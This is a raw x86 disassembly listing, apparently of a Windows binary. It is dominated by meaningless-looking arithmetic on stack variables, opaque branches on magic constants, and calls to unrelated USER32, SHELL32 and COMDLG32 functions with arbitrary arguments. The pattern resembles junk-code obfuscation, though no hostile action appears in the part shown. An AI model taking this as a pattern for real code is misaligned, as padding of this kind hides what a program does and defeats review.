mov eax, dword [ebp - 0x2344]
mov ecx, dword [ebp - 0x237c]
mov eax, dword [eax]
mov ecx, dword [ecx]
shl eax, cl
cmp edx, eax
jl 0x4093e5
mov cx, word [ebp - 0xbfbc]
mov word [ebp - 0x13a50], cx
movzx edx, byte [ebp - 0x9511]
mov eax, dword [ebp - 0x8520]
movzx ecx, byte [eax]
sar edx, cl
mov byte [ebp - 0x17b31], dl
mov ecx, dword [ebp - 0x169c]
mov edx, dword [ebp - 0x11e88]
sub edx, dword [ecx]
mov dword [ebp - 0x10bfc], edx
lea eax, [ebp - 0x2128]
mov dword [ebp - 0x8b24], eax
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x4d40]
mov eax, dword [ecx]
sub eax, dword [edx]
mov dword [ebp - 0x10d7c], eax
lea ecx, [ebp - 0x10bfc]
mov dword [ebp - 0x1ac], ecx
jmp 0x40942d
mov edx, dword [ebp - 0x4650]
movsx eax, byte [edx]
movsx ecx, byte [ebp - 0x6725]
or eax, ecx
mov edx, dword [ebp - 0xe728]
movsx ecx, byte [edx]
cmp eax, ecx
je 0x40942d
lea edx, [ebp - 0x88e0]
push edx
call dword [sym.imp.SHELL32.dll_SHGetDesktopFolder]
mov dword [ebp - 0x55c], eax
mov eax, dword [ebp - 0x2344]
mov ecx, dword [eax]
and ecx, dword [ebp - 0x1186c]
mov edx, dword [ebp - 0x3f0c]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x6725]
mov ecx, dword [ebp - 0x4650]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xe728]
movsx edx, byte [ecx]
cmp eax, edx
jl 0x409536
mov eax, dword [ebp - 0xcf70]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x13d18]
movzx eax, byte [edx]
sub ecx, eax
movzx edx, byte [ebp - 0x2215]
mov eax, dword [ebp - 0x66ac]
movzx eax, byte [eax]
add edx, eax
cmp ecx, edx
jl 0x409500
mov cl, byte [ebp - 0x171f1]
mov byte [ebp - 0x1889c], cl
cmp byte [ebp - 0x1889c], 0x91
je 0x409495
jmp 0x4094ca
movzx edx, word [ebp - 0xbfbc]
mov eax, dword [ebp - 0x10c4c]
movzx ecx, word [eax]
add edx, ecx
mov word [ebp - 0xe85c], dx
mov edx, dword [ebp - 0x66ac]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x171f1]
sub eax, ecx
mov edx, dword [ebp - 0x66ac]
mov byte [edx], al
jmp 0x4094fe
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [ebp - 0x2344]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x15d00], edx
lea eax, [ebp - 0xe040]
push eax
push 1
push 0xa
mov ecx, dword [ebp - 0x148e8]
push ecx
call dword [sym.imp.USER32.dll_GetMenuItemInfoW]
mov dword [ebp - 0xeecc], eax
jmp 0x409536
mov edx, dword [ebp - 0x8b24]
mov eax, dword [edx]
add eax, dword [ebp - 0x15d00]
mov ecx, dword [ebp - 0xd31c]
mov edx, dword [ebp - 0x7698]
add edx, dword [ecx]
cmp eax, edx
jge 0x409536
mov eax, dword [ebp - 0x10434]
mov ecx, dword [ebp - 0x11e88]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x169c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x2970]
mov dword [ebp - 0x188a0], eax
cmp dword [ebp - 0x188a0], 0x16a4ce0a
je 0x409553
jmp 0x4095e5
mov ecx, dword [ebp - 0xe728]
mov dl, byte [ecx]
mov byte [ebp - 0x188a4], dl
cmp byte [ebp - 0x188a4], 0
je 0x4095cd
cmp byte [ebp - 0x188a4], 0x4c
je 0x409575
jmp 0x4095e0
push 0x22
lea eax, [ebp - 0x15568]
push eax
lea ecx, [ebp - 0x8f30]
push ecx
push 0xc3
push 0x4c
mov edx, dword [ebp - 0x1880]
push edx
call dword [sym.imp.SHELL32.dll_SHDefExtractIconW]
mov dword [ebp - 0x1208c], eax
mov eax, dword [ebp - 0xd31c]
mov edx, dword [0x578ab8]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x2128], edx
mov eax, dword [ebp - 0x15d00]
mov ecx, dword [ebp - 0x2970]
shl eax, cl
mov ecx, dword [ebp - 0x237c]
mov dword [ecx], eax
jmp 0x4095e0
lea edx, [ebp - 0xd5e0]
push edx
call dword [sym.imp.SHELL32.dll_ILFindLastID]
mov dword [ebp - 0x15220], eax
jmp 0x409699
mov eax, dword [ebp - 0x13d18]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xcf70]
movzx eax, byte [edx]
or ecx, eax
movzx edx, byte [ebp - 0x2215]
movzx eax, byte [ebp - 0x9511]
and edx, eax
cmp ecx, edx
jne 0x409640
mov ecx, dword [ebp - 0xd5e0]
movzx edx, word [ecx]
push edx
mov eax, dword [ebp - 0x6478]
movzx ecx, word [eax]
push ecx
mov edx, dword [ebp - 0xd5e0]
movzx eax, word [edx]
push eax
mov ecx, dword [ebp - 0xeaa0]
push ecx
mov edx, dword [ebp - 0x9d8]
push edx
call fcn.0053a700
jmp 0x409699
movzx eax, word [ebp - 0xe85c]
mov ecx, dword [ebp - 0x10c4c]
movzx edx, word [ecx]
and eax, edx
mov word [ebp - 0xbfbc], ax
mov eax, dword [ebp - 0x13d18]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xcf70]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0x8520]
mov byte [edx], cl
lea eax, [ebp - 0x11980]
mov dword [ebp - 0x1e60], eax
mov cl, byte [ebp - 0x6725]
mov byte [ebp - 0x1d05], cl
mov edx, dword [ebp - 0x8f30]
mov dword [ebp - 0x138c4], edx
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [eax]
mov edx, dword [ebp - 0x237c]
add ecx, dword [edx]
mov dword [ebp - 0x7698], ecx
movzx eax, byte [ebp - 0x2215]
movzx ecx, byte [ebp - 0x9511]
sub eax, ecx
mov edx, dword [ebp - 0x13d18]
mov byte [edx], al
mov eax, dword [ebp - 0x6478]
movzx ecx, word [eax]
movzx edx, word [ebp - 0xbfbc]
add ecx, edx
mov eax, dword [ebp - 0x10c4c]
mov word [eax], cx
mov ecx, dword [ebp - 0x13970]
mov edx, dword [ebp - 0x169c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x171b8]
mov dword [ecx], eax
mov edx, dword [ebp - 0x8b24]
mov eax, dword [ebp - 0x2344]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov dword [ebp - 0x5958], edx
mov eax, dword [ebp - 0x8b24]
mov ecx, dword [ebp - 0x10d7c]
xor ecx, dword [eax]
mov dword [ebp - 0x1186c], ecx
mov edx, dword [ebp - 0x10bfc]
or edx, dword [ebp - 0xd9f4]
mov eax, dword [ebp - 0x13970]
mov dword [eax], edx
movzx edx, word [ebp - 0x3314]
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
shl edx, cl
mov ecx, dword [ebp - 0x10c4c]
mov word [ecx], dx
movzx edx, byte [ebp - 0x9511]
mov eax, dword [ebp - 0xcf70]
movzx ecx, byte [eax]
and edx, ecx
mov byte [ebp - 0x17b31], dl
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x2970]
add eax, dword [edx]
mov ecx, dword [ebp - 0x237c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ebp - 0x2970]
add eax, dword [edx]
mov dword [ebp - 0xdbc4], eax
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ebp - 0xd9f4]
add edx, dword [ecx]
mov eax, dword [ebp - 0x1ac]
mov dword [eax], edx
mov ecx, dword [ebp - 0xd31c]
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [ecx]
sub eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
and eax, dword [ebp - 0x1186c]
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
movsx edx, byte [ebp - 0x1d05]
movsx eax, byte [ebp - 0x6725]
add edx, eax
mov ecx, dword [ebp - 0xe728]
mov byte [ecx], dl
movsx edx, word [ebp - 0x160d8]
movsx eax, word [ebp - 0x11980]
sub edx, eax
mov ecx, dword [ebp - 0x1e60]
mov word [ecx], dx
mov edx, dword [ebp - 0x66ac]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x9511]
sub eax, ecx
mov byte [ebp - 0x2215], al
mov edx, dword [ebp - 0x10c4c]
movzx eax, word [edx]
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
sub eax, edx
mov word [ebp - 0xe85c], ax
mov eax, dword [ebp - 0x13970]
mov ecx, dword [ebp - 0x348c]
mov edx, dword [eax]
mov ecx, dword [ecx]
shl edx, cl
mov dword [ebp - 0x11e88], edx
mov eax, dword [ebp - 0x3f0c]
mov ecx, dword [eax]
or ecx, dword [ebp - 0x1186c]
mov dword [ebp - 0x2128], ecx
mov edx, dword [ebp - 0x13d18]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x9511]
xor eax, ecx
mov byte [ebp - 0x17b31], al
movzx edx, word [ebp - 0x13a50]
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x10c4c]
mov word [ecx], dx
mov edx, dword [ebp - 0xb6f8]
mov eax, dword [ebp - 0x348c]
mov ecx, dword [edx]
and ecx, dword [eax]
mov dword [ebp - 0x138c4], ecx
mov edx, dword [ebp - 0x3f0c]
mov eax, dword [edx]
sub eax, dword [0x55d224]
mov dword [ebp - 0x15d00], eax
mov ecx, dword [ebp - 0x5958]
add ecx, dword [ebp - 0x2128]
mov dword [ebp - 0x1186c], ecx
mov edx, dword [ebp - 0x13970]
mov eax, dword [edx]
add eax, dword [ebp - 0x10bfc]
mov ecx, dword [ebp - 0x10434]
mov dword [ecx], eax
mov edx, dword [ebp - 0x66ac]
movzx eax, byte [edx]
movzx ecx, byte [ebp - 0x9511]
sub eax, ecx
mov edx, dword [ebp - 0x8520]
mov byte [edx], al
movzx eax, word [ebp - 0xbfbc]
movzx ecx, word [ebp - 0x13a50]
add eax, ecx
mov edx, dword [ebp - 0x10c4c]
mov word [edx], ax
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1186c]
sub ecx, dword [ebp - 0x7698]
mov edx, dword [ebp - 0x8b24]
mov dword [edx], ecx
movsx eax, byte [ebp - 0x6725]
mov ecx, dword [ebp - 0x4650]
movsx edx, byte [ecx]
sub eax, edx
mov ecx, dword [ebp - 0xe728]
mov byte [ecx], al
movsx edx, word [ebp - 0x11980]
movsx eax, word [ebp - 0x160d8]
add edx, eax
mov word [ebp - 0x48a8], dx
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x39cc]
movzx ecx, word [eax]
or edx, ecx
mov eax, dword [ebp - 0x10c4c]
mov word [eax], dx
movzx edx, byte [ebp - 0x17b31]
movzx ecx, byte [ebp - 0x9511]
sar edx, cl
mov byte [ebp - 0x171f1], dl
mov eax, dword [ebp - 0x10434]
mov ecx, dword [ebp - 0x11e88]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x1ac]
mov dword [edx], ecx
mov eax, dword [ebp - 0x138c4]
mov ecx, dword [ebp - 0x9d8]
shl eax, cl
mov ecx, dword [ebp - 0x1ac]
mov dword [ecx], eax
mov edx, dword [ebp - 0xdbc4]
and edx, dword [ebp - 0x2128]
mov eax, dword [ebp - 0xd31c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x68f0]
sub ecx, 0xe1
mov dword [ebp - 0x68f0], ecx
mov edx, dword [ebp - 0x237c]
mov eax, dword [edx]
add eax, dword [ebp - 0x2970]
mov ecx, dword [ebp - 0x3f0c]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd31c]
mov eax, dword [edx]
add eax, dword [ebp - 0x2970]
mov ecx, dword [ebp - 0x237c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x66ac]
movzx eax, byte [edx]
mov ecx, dword [ebp - 0x13d18]
movzx edx, byte [ecx]
add eax, edx
mov byte [ebp - 0x171f1], al
mov eax, dword [ebp - 0x10c4c]
movzx ecx, word [eax]
movzx edx, word [ebp - 0x3314]
sub ecx, edx
mov eax, dword [ebp - 0x6478]
mov word [eax], cx
mov ecx, dword [ebp - 0x11e88]
sub ecx, dword [ebp - 0x138c4]
mov dword [ebp - 0x8f30], ecx
mov edx, dword [ebp - 0x4d40]
mov eax, dword [edx]
add eax, dword [0x55d224]
mov ecx, dword [ebp - 0x237c]
mov dword [ecx], eax
mov edx, dword [ebp - 0x558]
mov eax, dword [ebp - 0x8b24]
mov ecx, dword [edx]
and ecx, dword [eax]
mov edx, dword [ebp - 0x3f0c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x10434]
mov ecx, dword [ebp - 0x1ac]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x169c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x13d18]
movzx edx, byte [ecx]
movzx ecx, byte [ebp - 0x171f1]
shl edx, cl
mov eax, dword [ebp - 0x66ac]
mov byte [eax], dl
movzx edx, word [ebp - 0xbfbc]
movzx ecx, word [ebp - 0x3314]
sar edx, cl
mov eax, dword [ebp - 0x39cc]
mov word [eax], dx
movsx ecx, byte [ebp - 0x6725]
mov edx, dword [ebp - 0x4650]
movsx eax, byte [edx]
xor ecx, eax
mov byte [ebp - 0x1d05], cl
mov ecx, dword [ebp - 0x1e60]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x48a8]
or edx, eax
mov ecx, dword [ebp - 0xd5e0]
mov word [ecx], dx
mov edx, dword [ebp - 0x10bfc]
sub edx, dword [ebp - 0x11e88]
mov eax, dword [ebp - 0x1ac]
mov dword [eax], edx
cmp dword [ebp - 0x68f0], 0x3b8e
ja 0x409699
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0x237c]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x4d40]
mov dword [ecx], eax
mov dword [ebp - 0x12558], 0x144f8
mov edx, dword [ebp - 0x13d18]
mov al, byte [edx]
mov byte [ebp - 0x188a8], al
cmp byte [ebp - 0x188a8], 0x23
je 0x409be8
cmp byte [ebp - 0x188a8], 0xe9
je 0x409b8c
jmp 0x409bfa
movzx ecx, word [ebp - 0x3314]
mov edx, dword [ebp - 0x10c4c]
movzx eax, word [edx]
sub ecx, eax
mov edx, dword [ebp - 0x6478]
mov word [edx], cx
movzx eax, byte [ebp - 0x17b31]
movzx ecx, byte [ebp - 0x171f1]
sub eax, ecx
mov byte [ebp - 0x9511], al
lea edx, [ebp - 0x109a8]
push edx
call dword [sym.imp.COMDLG32.dll_FindTextW]
mov dword [ebp - 0xdeac], eax
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x10d7c]
mov edx, dword [ebp - 0x8b24]
mov dword [edx], ecx
jmp 0x409bfa
mov eax, dword [ebp - 0x8f30]
add eax, dword [ebp - 0x9d8]
mov dword [ebp - 0xeaa0], eax
movsx ecx, word [ebp - 0x11980]
mov dword [ebp - 0x188ac], ecx
cmp dword [ebp - 0x188ac], 0
je 0x409c25
cmp dword [ebp - 0x188ac], 0x2c8d
je 0x539390
jmp 0x5393ff
mov edx, dword [ebp - 0x1e60]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x160d8]
shl eax, cl
mov ecx, dword [ebp - 0xd5e0]
movsx edx, word [ecx]
movsx ecx, word [ebp - 0x48a8]
sar edx, cl
cmp eax, edx
je 0x409d14
mov eax, dword [ebp - 0x2344]
mov ecx, dword [eax]
mov dword [ebp - 0x188b0], ecx
cmp dword [ebp - 0x188b0], 0x3769f1f0
je 0x409c80
cmp dword [ebp - 0x188b0], 0x7d99d12c
je 0x409d00
jmp 0x409d14
mov edx, dword [ebp - 0x13970]
mov eax, dword [ebp - 0x348c]
mov ecx, dword [edx]
or ecx, dword [eax]
mov dword [ebp - 0x9d8], ecx
mov edx, dword [ebp - 0x4d40]
mov eax, dword [ebp - 0x10d7c]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x2344]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd31c]
mov eax, dword [edx]
add eax, dword [ebp - 0x7698]
mov dword [ebp - 0x2128], eax
lea ecx, [ebp - 0x9510]
push ecx
lea edx, [ebp - 0x4d40]
push edx
lea eax, [ebp - 0x13d18]
push eax
lea ecx, [ebp - 0x16c70]
push ecx
call dword [sym.imp.SHELL32.dll_PathYetAnotherMakeUniqueName]
mov dword [ebp - 0x46e0], eax
mov edx, dword [ebp - 0x171b8]
mov eax, dword [edx]
push eax
movzx ecx, byte [ebp - 0x1d05]
push ecx
call fcn.0053a140
jmp 0x409d14
mov edx, dword [ebp - 0x2128]
add edx, dword [0x578ab8]
mov eax, dword [ebp - 0x237c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x558]
mov eax, dword [ecx]
and eax, dword [edx]
mov dword [ebp - 0x7698], eax
mov ecx, dword [ebp - 0x1e60]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x160d8]
add edx, eax
mov word [ebp - 0x11980], dx
mov ecx, dword [ebp - 0xe728]
movsx edx, byte [ecx]
movsx eax, byte [ebp - 0x6725]
sub edx, eax
mov byte [ebp - 0x1d05], dl
mov ecx, dword [ebp - 0x8520]
movzx edx, byte [ecx]
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
sub edx, ecx
mov byte [ebp - 0x171f1], dl
mov edx, dword [ebp - 0x6478]
movzx eax, word [edx]
movzx ecx, word [ebp - 0xbfbc]
add eax, ecx
mov edx, dword [ebp - 0x6478]
mov word [edx], ax
mov eax, dword [ebp - 0x348c]
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x348c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xd9f4]
sub ecx, dword [ebp - 0x8f30]
mov dword [ebp - 0x11e88], ecx
movzx edx, word [ebp - 0x3314]
movzx eax, word [ebp - 0x13a50]
sub edx, eax
mov word [ebp - 0xbfbc], dx
mov ecx, dword [ebp - 0x13d18]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x9511]
sub edx, eax
mov ecx, dword [ebp - 0x8520]
mov byte [ecx], dl
mov edx, dword [ebp - 0x4d40]
mov eax, dword [edx]
mov ecx, dword [ebp - 0x10d7c]
sar eax, cl
mov dword [ebp - 0x1186c], eax
mov ecx, dword [ebp - 0x10434]
mov edx, dword [ebp - 0x11e88]
or edx, dword [ecx]
mov dword [ebp - 0x10bfc], edx
mov eax, dword [ebp - 0x237c]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x2970]
shl edx, cl
mov eax, dword [ebp - 0xd31c]
mov dword [eax], edx
mov ecx, dword [ebp - 0xdbc4]
xor ecx, dword [ebp - 0x7698]
mov edx, dword [ebp - 0xd31c]
mov dword [edx], ecx
movzx eax, word [ebp - 0xbfbc]
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
and eax, edx
mov word [0x575ff0], ax
movzx eax, byte [ebp - 0x171f1]
movzx ecx, byte [ebp - 0x2215]
sub eax, ecx
mov byte [ebp - 0x9511], al
mov edx, dword [ebp - 0x9d8]
add edx, dword [ebp - 0xd9f4]
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [ebp - 0x2344]
mov eax, dword [ecx]
and eax, dword [edx]
mov ecx, dword [ebp - 0x8b24]
mov dword [ecx], eax
mov edx, dword [ebp - 0xd5e0]
movsx eax, word [edx]
movsx ecx, word [ebp - 0x48a8]
add eax, ecx
mov edx, dword [ebp - 0x1e60]
mov word [edx], ax
mov eax, dword [ebp - 0xe728]
movsx ecx, byte [eax]
mov edx, dword [ebp - 0x4650]
movsx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0xe728]
mov byte [edx], cl
mov eax, dword [ebp - 0x6478]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xbfbc], cx
movzx ecx, byte [ebp - 0x17b31]
movzx edx, byte [ebp - 0x2215]
sub ecx, edx
mov eax, dword [ebp - 0x13d18]
mov byte [eax], cl
mov ecx, dword [ebp - 0xd9f4]
add ecx, dword [ebp - 0x8f30]
mov dword [ebp - 0x11e88], ecx
mov edx, dword [ebp - 0x2344]
mov eax, dword [ebp - 0x2128]
xor eax, dword [edx]
mov ecx, dword [ebp - 0x8b24]
mov dword [ecx], eax
mov edx, dword [ebp - 0x2344]
mov eax, dword [ebp - 0x5958]
mov ecx, dword [edx]
shl eax, cl
mov dword [ebp - 0x2970], eax
mov ecx, dword [ebp - 0x13970]
mov edx, dword [ebp - 0x10bfc]
or edx, dword [ecx]
mov eax, dword [ebp - 0x169c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x3f0c]
mov edx, dword [0x578ab8]
mov ecx, dword [ecx]
sar edx, cl
mov dword [ebp - 0x2970], edx
movzx eax, byte [ebp - 0x2215]
mov ecx, dword [ebp - 0x66ac]
movzx edx, byte [ecx]
and eax, edx
mov byte [ebp - 0x171f1], al
movzx eax, word [ebp - 0xe85c]
movzx ecx, word [0x575ff0]
add eax, ecx
mov edx, dword [ebp - 0x10c4c]
mov word [edx], ax
mov eax, dword [ebp - 0x237c]
mov ecx, dword [ebp - 0x15d00]
add ecx, dword [eax]
mov dword [ebp - 0x2128], ecx
mov edx, dword [ebp - 0x1678c]
sub edx, 0xca
mov dword [ebp - 0x1678c], edx
mov eax, dword [ebp - 0x13970]
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [eax]
sub edx, dword [ecx]
mov dword [ebp - 0x8f30], edx
mov eax, dword [ebp - 0x237c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xdbc4]
mov edx, dword [ebp - 0xd31c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x4d40]
mov ecx, dword [ebp - 0x237c]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x558]
mov dword [eax], edx
movzx ecx, word [ebp - 0x13a50]
movzx edx, word [ebp - 0x3314]
sub ecx, edx
mov word [ebp - 0xe85c], cx
mov eax, dword [ebp - 0x8520]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0xcf70]
movzx eax, byte [edx]
sub ecx, eax
mov edx, dword [ebp - 0x8520]
mov byte [edx], cl
mov eax, dword [ebp - 0xe728]
movsx ecx, byte [eax]
movsx edx, byte [ebp - 0x6725]
sub ecx, edx
mov eax, dword [ebp - 0x4650]
mov byte [eax], cl
mov ecx, dword [ebp - 0x1e60]
movsx edx, word [ecx]
mov eax, dword [ebp - 0xd5e0]
movsx ecx, word [eax]
add edx, ecx
mov word [ebp - 0x160d8], dx
mov edx, dword [ebp - 0x9d8]
mov ecx, dword [ebp - 0x11e88]
shl edx, cl
mov dword [ebp - 0x8f30], edx
mov eax, dword [ebp - 0xd31c]
mov ecx, dword [ebp - 0x15d00]
xor ecx, dword [eax]
mov edx, dword [ebp - 0x3f0c]
mov dword [edx], ecx
mov eax, dword [ebp - 0x39cc]
movzx edx, word [eax]
movzx ecx, word [0x575ff0]
sar edx, cl
mov word [ebp - 0xbfbc], dx
mov eax, dword [ebp - 0x66ac]
movzx ecx, byte [eax]
mov edx, dword [ebp - 0x13d18]
movzx eax, byte [edx]
or ecx, eax
mov edx, dword [ebp - 0x66ac]
mov byte [edx], cl
mov eax, dword [ebp - 0x169c]
mov ecx, dword [ebp - 0x1ac]
mov edx, dword [eax]
and edx, dword [ecx]
mov eax, dword [ebp - 0x171b8]
mov dword [eax], edx
mov ecx, dword [ebp - 0x237c]
mov edx, dword [ebp - 0x1186c]
add edx, dword [ecx]
mov eax, dword [ebp - 0xd31c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [ebp - 0x2970]
sub edx, dword [ecx]
mov dword [ebp - 0x10d7c], edx
mov eax, dword [ebp - 0x10bfc]
sub eax, dword [ebp - 0xd9f4]
mov dword [ebp - 0x9d8], eax
movzx ecx, word [ebp - 0xe85c]
mov edx, dword [ebp - 0x39cc]
movzx eax, word [edx]
add ecx, eax
mov word [ebp - 0x3314], cx
movzx ecx, byte [ebp - 0x171f1]
mov edx, dword [ebp - 0x8520]
movzx eax, byte [edx]
sub ecx, eax
mov byte [ebp - 0x2215], cl
mov ecx, dword [ebp - 0xd31c]
mov edx, dword [ecx]
and edx, dword [ebp - 0x7698]
mov dword [ebp - 0x2970], edx
mov eax, dword [ebp - 0xd31c]
mov ecx, dword [ebp - 0x237c]
mov edx, dword [eax]
sub edx, dword [ecx]
mov eax, dword [ebp - 0x2344]
mov dword [eax], edx
cmp dword [ebp - 0x1678c], 0x3f26
jae 0x409d14
mov ecx, dword [ebp - 0x4650]
movsx edx, byte [ecx]
mov eax, dword [ebp - 0xe728]
movsx ecx, byte [eax]
add edx, ecx
movsx eax, byte [ebp - 0x6725]
movsx ecx, byte [ebp - 0x1d05]
add eax, ecx
cmp edx, eax
jle 0x40a1ed
lea edx, [ebp - 0xbfbc]
push edx
push 0x1d
push 0xa5
mov eax, dword [ebp - 0x2268]
push eax
call dword [sym.imp.USER32.dll_GetMenuBarInfo]
mov dword [ebp - 0x46e0], eax
mov ecx, dword [ebp - 0x11e88]
xor ecx, dword [ebp - 0x138c4]
mov dword [ebp - 0x8f30], ecx
mov edx, dword [ebp - 0x1e60]
movsx eax, word [edx]
mov dword [ebp - 0x188b4], eax
cmp dword [ebp - 0x188b4], 0
je 0x40a21a
cmp dword [ebp - 0x188b4], 0x70d1
je 0x40a2a0
jmp 0x40a35c
lea ecx, [ebp - 0xdbc4]
mov dword [0x57856c], ecx
mov edx, dword [ebp - 0x1e60]
movsx eax, word [edx]
mov dword [ebp - 0x188b8], eax
cmp dword [ebp - 0x188b8], 0
je 0x40a240
jmp 0x40a27e
lea ecx, [ebp - 0x2970]
mov dword [ebp - 0x137d8], ecx
lea edx, [ebp - 0x6725]
mov dword [ebp - 0x2f8], edx
lea eax, [ebp - 0x160d8]
mov dword [ebp - 0xb13c], eax
movzx ecx, byte [ebp - 0x2215]
movzx edx, byte [ebp - 0x9511]
or ecx, edx
mov eax, dword [ebp - 0x13d18]
mov byte [eax], cl
jmp 0x40a29b
mov ecx, dword [ebp - 0x6478]
movzx edx, word [ecx]
mov eax, dword [ebp - 0x10c4c]
movzx ecx, word [eax]
sar edx, cl
mov ecx, dword [ebp - 0x39cc]
mov word [ecx], dx
jmp 0x40a35c
lea edx, [ebp - 0xfa10]
push edx
push 0x14
push 0xea
push str.finitely_Externalised
mov eax, dword [ebp - 0x2ca4]
push eax
call dword [sym.imp.USER32.dll_GetTabbedTextExtentW]
mov dword [ebp - 0x138c4], eax
mov ecx, dword [ebp - 0x348c]
mov edx, dword [ebp - 0xeaa0]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x13970]
mov ecx, dword [ebp - 0xb6f8]
mov eax, dword [eax]
and eax, dword [ecx]
cmp edx, eax
jne 0x40a346
mov ecx, dword [ebp - 0x171b8]
mov edx, dword [ecx]
add edx, dword [ebp - 0x8f30]
mov eax, dword [ebp - 0x1ac]
mov dword [eax], edx
mov ecx, dword [ebp - 0x558]
mov edx, dword [ecx]
add edx, dword [0x578ab8]
mov dword [ebp - 0x7698], edx
lea eax, [ebp - 0x30d4]
push eax
push 0xce
call dword [sym.imp.USER32.dll_GetGUIThreadInfo]
mov dword [ebp - 0x17e60], eax
movzx ecx, byte [ebp - 0x9511]
mov edx, dword [ebp - 0x8520]
movzx eax, byte [edx]
add ecx, eax
mov edx, dword [ebp - 0xcf70]
mov byte [edx], cl
movzx eax, word [ebp - 0xe85c]
movzx ecx, word [ebp - 0x13a50]
sub eax, ecx
mov word [0x575ff0], ax
mov edx, dword [ebp - 0x169c]
mov eax, dword [edx]
mov dword [ebp - 0xa610], eax
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ecx]
sub edx, dword [ebp - 0x15d00]
mov dword [ebp - 0x1186c], edx
mov eax, dword [ebp - 0xd31c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0xdbc4]
mov edx, dword [ebp - 0x4d40]
mov dword [edx], ecx
lea eax, [ebp - 0xd9f4]
mov dword [ebp - 0xe00], eax
mov ecx, dword [ebp - 0x66ac]
movzx edx, byte [ecx]
movzx eax, byte [ebp - 0x2215]
and edx, eax
mov byte [ebp - 0x17b31], dl
movzx ecx, word [ebp - 0x3314]
mov edx, dword [ebp - 0x6478]
movzx eax, word [edx]
sub ecx, eax
mov word [ebp - 0xe85c], cx
mov ecx, dword [ebp - 0x4d40]
mov edx, dword [ebp - 0x2128]
mov ecx, dword [ecx]
shl edx, cl
mov eax, dword [ebp - 0x8b24]
mov dword [eax], edx
mov ecx, dword [ebp - 0x2344]
mov edx, dword [ebp - 0xd31c]
mov eax, dword [ecx]
or eax, dword [edx]
mov ecx, dword [ebp - 0x558]
mov dword [ecx], eax
mov edx, dword [0x57856c]
mov eax, dword [ebp - 0x558]
mov edx, dword [edx]
mov ecx, dword [eax]
sar edx, cl
mov eax, dword [0x57856c]
mov dword [eax], edx
mov ecx, dword [ebp - 0x1e60]
movsx edx, word [ecx]
movsx eax, word [ebp - 0x11980]
xor edx, eax
mov word [ebp - 0x48a8], dx
movzx ecx, word [ebp - 0xe85c]
